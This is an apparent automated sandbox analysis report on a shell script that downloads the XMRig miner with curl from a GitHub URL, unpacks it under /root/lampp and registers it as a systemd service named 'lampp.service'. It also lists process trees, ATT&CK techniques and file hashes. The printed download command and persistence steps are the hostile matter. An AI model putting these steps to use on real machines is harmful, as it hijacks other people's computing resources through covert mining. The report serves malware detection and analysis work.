Analysis

  • max time kernel
    1s
  • max time network
    1019s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:49

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1412
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1415
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1416
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1419
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1420
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1461
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1462
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1463
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1463
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1463
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1463
                      • /usr/bin/rm
                        2⤵
                          PID:1464
                        • /usr/bin/sed
                          2⤵
                            PID:1465
                          • /root/lampp/xmrig
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1466
                          • /usr/bin/sed
                            2⤵
                              PID:1471
                            • /usr/bin/cut
                              2⤵
                                PID:1470
                              • /usr/bin/hostname
                                2⤵
                                  PID:1469
                                • /usr/bin/sed
                                  2⤵
                                  • Reads runtime system information
                                  PID:1472
                                • /usr/bin/sed
                                  2⤵
                                    PID:1473
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1474
                                    • /usr/bin/sed
                                      2⤵
                                      • Reads runtime system information
                                      PID:1475
                                    • /usr/bin/sed
                                      2⤵
                                        PID:1476
                                      • /usr/bin/sed
                                        2⤵
                                          PID:1477
                                        • /usr/bin/sed
                                          2⤵
                                            PID:1478
                                          • /usr/bin/cp
                                            2⤵
                                              PID:1479
                                            • /usr/bin/sed
                                              2⤵
                                              • Reads runtime system information
                                              PID:1480
                                            • /usr/bin/cat
                                              2⤵
                                                PID:1481
                                              • /usr/bin/chmod
                                                2⤵
                                                  PID:1482
                                                • /usr/bin/sudo
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1483
                                                  • /usr/bin/true
                                                    3⤵
                                                      PID:1484
                                                  • /usr/bin/awk
                                                    2⤵
                                                      PID:1487
                                                    • /usr/bin/grep
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1486
                                                    • /usr/bin/cat
                                                      2⤵
                                                        PID:1488
                                                      • /usr/bin/sudo
                                                        2⤵
                                                          PID:1489
                                                          • /usr/bin/mv
                                                            3⤵
                                                              PID:1490
                                                          • /usr/bin/sudo
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1491
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1492
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1493
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1494
                                                          • /usr/bin/sudo
                                                            sudo systemctl enable lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1520
                                                            • /usr/bin/systemctl
                                                              systemctl enable lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1521
                                                          • /usr/bin/sudo
                                                            sudo systemctl start lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1563
                                                            • /usr/bin/systemctl
                                                              systemctl start lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1564

                                                        Network

                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                        Defense Evasion

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        Discovery

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        System Information Discovery

                                                        3
                                                        T1082

                                                        Command and Control

                                                        Web Service

                                                        1
                                                        T1102

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • /root/lampp/config.json
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          f3294129e6b76283965ad86a815bf383

                                                          SHA1

                                                          5fe0ab538f86962efe82cb13fc2da745610740af

                                                          SHA256

                                                          578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                          SHA512

                                                          07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                        • /root/lampp/sed69cpsB
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          8b11b027dd187104473ee7d661ffe25f

                                                          SHA1

                                                          ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                          SHA256

                                                          984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                          SHA512

                                                          1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                        • /root/lampp/sed6AaFS4
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          43e18f4b781f7a8c51f56f8e7312ae4d

                                                          SHA1

                                                          56d534ba4857387a746d8ea3458431b34314f2ed

                                                          SHA256

                                                          878f26a2b79e0879c65aa51f53461cafa94fd7e84c38623d3cf7b0b48b47a2c1

                                                          SHA512

                                                          7900d210a75450382ea027fb9b83177a0dcf11f2127bf17f2887b76d7dacc7898af058c55c2774895367cec871dafee518cb2d74d4de8f439dbddb95194cd8ce

                                                        • /root/lampp/sedATSpMT
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          43f509e48a262e51a7d70cda6e90f6de

                                                          SHA1

                                                          23b3a88940f3f2c5e75da3628873af373bd76240

                                                          SHA256

                                                          afe783e4b092fda6e3cc9068d45dde9155d51f9175a03e26f171fbeba6d400d3

                                                          SHA512

                                                          54ddaf1c48e72d8e501dd1a3c7113485fa9866a793826dcf68df36120f322f2e1d6620a08d757d2c49a3c955f41cd3bee208ada27de860fa441b79280d70ba85

                                                        • /root/lampp/sedbkyigE
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          c6c8d7fb6c9bfc9c5eb5aae5c4f8991c

                                                          SHA1

                                                          34e6375196d3943e58e1084e51225f52d16f2707

                                                          SHA256

                                                          a64286d76b7af73eb74cc7740e312b2a9d6c34491f6d0a3037b91b6ce2aef50e

                                                          SHA512

                                                          730170ed0f66a83c0f99561d6512ad8bee9bcb8913f6c954f9b42dfcdb957e06ee851e93e85873d2d7210cfb94b8b9f0bef0d69d17e0d0820eca7144ca5f12d0

                                                        • /root/lampp/sedkGmkfv
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          d489ddbbb83271e967b8af615d17d3c7

                                                          SHA1

                                                          f0394a367a60e9727269882154098dec802774ef

                                                          SHA256

                                                          5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                          SHA512

                                                          aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                        • /root/lampp/sedr4olyX
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          86f001b9ff04c4d8b882ed3a4713081b

                                                          SHA1

                                                          500f3fc62a69bc98e0903b0b1052df3dedd5877d

                                                          SHA256

                                                          8e71f56592d90889a7f92d87c2e989a1c1b86c89da20823f4b44621be4750af4

                                                          SHA512

                                                          06fd965a75271b75c02b03d06417ba10f76a87ec591886e6a566db8177d228381f06c5f5f5808414200d0bf61b23dc58b97c965ab6c3a5a72a62231aff8d220f

                                                        • /root/lampp/xmrig
                                                          Filesize

                                                          8.4MB

                                                          MD5

                                                          d63bff9a9f5e7073b989e566835a9b7c

                                                          SHA1

                                                          4d1dd1fc0c272bb2b854c70f20f472e6165e6443

                                                          SHA256

                                                          3b692c32cbe9064676689cb3813aa472e26570c4714128a54de030deb5f40fcb

                                                          SHA512

                                                          0d056e6d4db9ad09d7586b3be656279e7092c99f0af7f86deafaa8f9c7591f7a2b61a6ded75b4e7eb61d7f1f76214cc758691b9f055a47e72ba7eb82b061ac20

                                                        • /tmp/lampp.service
                                                          Filesize

                                                          177B

                                                          MD5

                                                          540c899b78585827e807a62f7345eaf5

                                                          SHA1

                                                          8bf3146889c6b15811f226bff9fbca24d184eff2

                                                          SHA256

                                                          b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                          SHA512

                                                          0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                        • /tmp/sh-thd.xvTfsd
                                                          Filesize

                                                          253B

                                                          MD5

                                                          f96a321a262287ceae164f23f232ed9c

                                                          SHA1

                                                          d1eeab41f244b42377afd7cc3de7428736162b24

                                                          SHA256

                                                          f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                          SHA512

                                                          75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                        • /tmp/xmrig.tar.gz
                                                          Filesize

                                                          3.4MB

                                                          MD5

                                                          e003a3ec8bdd61151a61cadf950502c4

                                                          SHA1

                                                          2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                          SHA256

                                                          80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                          SHA512

                                                          ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9